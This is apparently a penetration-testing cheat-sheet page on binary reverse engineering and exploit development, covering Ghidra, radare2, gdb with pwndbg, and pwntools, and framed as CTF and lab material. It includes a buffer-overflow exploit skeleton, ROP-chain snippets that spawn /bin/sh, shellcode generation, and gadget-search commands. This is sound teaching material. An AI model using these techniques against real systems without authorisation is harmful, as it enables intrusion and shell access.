---
title: 'Binary analysis & exploit dev'
url: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/binary-analysis-and-exploit-dev'
markdown: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/binary-analysis-and-exploit-dev.md'
date: '2026-11-22'
description: 'Field Detail Summary Reverse-engineer binaries and develop memory-corruption exploits Category Reverse engineering & exploitation Phase analysis, exploitation Interface CLI + GUI Platform Linux, Windows, macOS Licence Open source Docs https://ghidra-sre.org/ / https://docs.pw…'
taxonomy:
  category:
    - cheat-sheets
  tag:
    - pentest
    - cheatsheet
    - reverse-engineering-exploitation
    - analysis
    - exploitation
---

# Binary analysis & exploit dev

| Field | Detail |
|---|---|
| **Summary** | Reverse-engineer binaries and develop memory-corruption exploits |
| **Category** | Reverse engineering & exploitation |
| **Phase** | analysis, exploitation |
| **Interface** | CLI + GUI |
| **Platform** | Linux, Windows, macOS |
| **Licence** | Open source |
| **Docs** | https://ghidra-sre.org/ / https://docs.pwntools.com/ |
| **Related** | Searchsploit and Exploit-DB, CyberChef, Privilege escalation enumeration |

Static and dynamic reverse engineering of compiled binaries, and developing memory-corruption exploits — the core of the exploit-development discipline (and OSED-style certifications). This is lab/CTF territory; the examples assume binaries you're allowed to attack.

> **ℹ️ Note — Learn the defences first**Modern mitigations change everything: **ASLR**, **NX/DEP**, **stack canaries**, **PIE**, **RELRO**, **CFG**. Always run `checksec` first — it dictates which technique is even possible.

```bash
checksec --file=./binary          # (pwntools) canary? NX? PIE? RELRO?
file ./binary ; strings -n 6 ./binary ; nm ./binary
```

## Static RE — Ghidra

Free NSA decompiler; the open counterpart to IDA Pro.

- New project → import binary → double-click → "analyze all".
- **Decompiler** window = C-like pseudocode next to disassembly.
- `L` to rename, `;` to comment, `Ctrl+L` retype variables, **Window → Function Graph** for flow.
- **Search → For Strings**, then follow XREFs to find where input/secrets are handled.
- Scriptable in Java/Python (Ghidra scripts); headless mode for batch.

## Static/CLI RE — radare2 / rizin

```bash
r2 -A ./binary          # open + auto-analyse
# inside r2:
aaa                     # analyse
afl                     # list functions
pdf @ main              # disassemble main
s sym.vuln ; pdf        # seek to a function and disassemble
iz                      # strings in data section
axt @ sym.func          # xrefs to a function
VV                      # visual graph mode
```

`r2` has a steep curve; **Cutter** is its GUI. Many prefer Ghidra for decompilation + r2/gdb for dynamic work.

## Dynamic — gdb + pwndbg

```bash
# ~/.gdbinit:  source /path/pwndbg/gdbinit.py   (or GEF/peda)
gdb ./binary
```

```
b *main+42         # breakpoint
run $(python3 -c 'print("A"*200)')
c / ni / si        # continue / step
info registers
x/40wx $rsp        # examine stack
cyclic 200         # pwndbg: De Bruijn pattern to find offset
cyclic -l 0x6161616c   # which offset crashed EIP/RIP
vmmap              # memory map (find writable/exec regions)
telescope $rsp 20  # smart stack view
```

## Exploit building — pwntools

The Python framework that makes exploit dev tractable:

```python
# exploit.py  (lab/CTF buffer-overflow skeleton)
from pwn import *

elf = context.binary = ELF('./binary')
# context.log_level = 'debug'

offset = 72                       # found with cyclic
ret    = asm('ret')               # stack-align gadget if needed

payload  = flat({
    offset: [
        elf.sym['win'],           # overwrite return address -> win()
    ]
})

io = process('./binary')          # or: remote('host', 1337)
io.sendlineafter(b'> ', payload)
io.interactive()
```

Common building blocks:

```python
ROP(elf)                          # build ROP chains
rop = ROP(elf); rop.call('system', [next(elf.search(b'/bin/sh'))])
cyclic(100), cyclic_find(0x6161...)   # offsets
p64(addr), u64(leak)              # pack/unpack
elf.got['puts'], elf.plt['puts']  # GOT/PLT for leaks & overwrites
shellcraft.sh()                   # architecture shellcode (CTF)
```

## Concepts to map to tools

| Technique | Needs | Beaten by |
|---|---|---|
| Classic stack overflow → ret2win | no canary | canary, CFG |
| ret2libc / ret2system | NX on, known libc | ASLR (need a leak) |
| ROP chain | NX on, gadgets | strong CFI |
| GOT overwrite | partial RELRO | full RELRO |
| Format string | `printf(user)` | — |
| Defeating ASLR | an info leak (puts/GOT) | — |

Find gadgets: `ROPgadget --binary ./b`, `ropper -f ./b`. Identify remote libc from leaks: the libc-database / blukat.

## More RE / exploit commands

```bash
checksec --file=./bin                      # canary / NX / PIE / RELRO
strace -f ./bin ; ltrace ./bin             # syscalls / library calls
ROPgadget --binary ./bin --ropchain        # list gadgets / auto-build a chain
ropper -f ./bin --search "pop rdi"         # find a specific gadget
one_gadget ./libc.so.6                      # magic execve gadgets in libc
gdb ./bin -ex 'b main' -ex run             # pwndbg: cyclic 200 ; cyclic -l <val> ; vmmap ; telescope $rsp
r2 -d ./bin                                 # aaa; afl; pdf @main; db sym.vuln; dc; dr
python3 -c 'from pwn import *; e=ELF("./bin"); print(hex(e.sym.win), hex(e.got.puts))'
```

Identify a remote libc from a leak with the libc-database (`./find puts <leak>`), then pull offsets / `one_gadget`.

## Kill-chain usage

### Analysis

```bash
r2 -A ./bin   # (or Ghidra) reverse-engineer and locate the bug
```

### Exploitation

```bash
python3 exploit.py              # pwntools: deliver the overflow/ROP chain
```

## Where it fits

A specialism that underpins writing/understanding the PoCs you find via Searchsploit and Exploit-DB rather than just running them. Ghidra/r2 to understand a binary, gdb+pwndbg to find the bug and offsets, pwntools to weaponise it — overwhelmingly a lab/CTF skill for the course. CyberChef helps with encodings; memory-corruption privesc on a host ties back to Privilege escalation enumeration.

---

## Navigation

- Parent: [Pentest Tools — Map of Content](https://www.rawrso.me/ethical-hacking/cheat-sheets.md)
- Previous: [bettercap](https://www.rawrso.me/ethical-hacking/cheat-sheets/bettercap.md)
- Next: [BloodHound & SharpHound](https://www.rawrso.me/ethical-hacking/cheat-sheets/bloodhound-and-sharphound.md)
